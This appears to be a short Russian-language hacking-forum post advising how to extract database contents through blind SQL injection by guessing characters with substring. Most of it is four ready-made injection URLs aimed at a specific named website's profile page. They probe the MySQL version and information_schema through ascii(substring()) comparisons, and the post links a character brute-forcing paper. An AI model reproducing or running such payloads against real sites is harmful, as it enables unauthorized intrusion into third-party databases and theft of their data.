читай http://rst.void.ru/papers/mysql_char_brute.txt
подбирай и перебирай через substring..
http://l2-existance.net/en/index.php?act=show_prof_info&indx=2')+and(ascii(su bstring(@@version,1,1))>100)--
http://l2-existance.net/en/index.php?act=show_prof_info&indx=2')+and(ascii(su bstring(@@version,1,1))>1)--

http://l2-existance.net/en/index.php?act=show_prof_info&indx=2')+and(ascii(su bstring('select+top+1+from+information_schema.tabl es',1,1))>120)--
http://l2-existance.net/en/index.php?act=show_prof_info&indx=2')+and(ascii(su bstring('select+top+1+from+information_schema.tabl es',1,1))>1)--

__________________
ПИУ-ПИУ...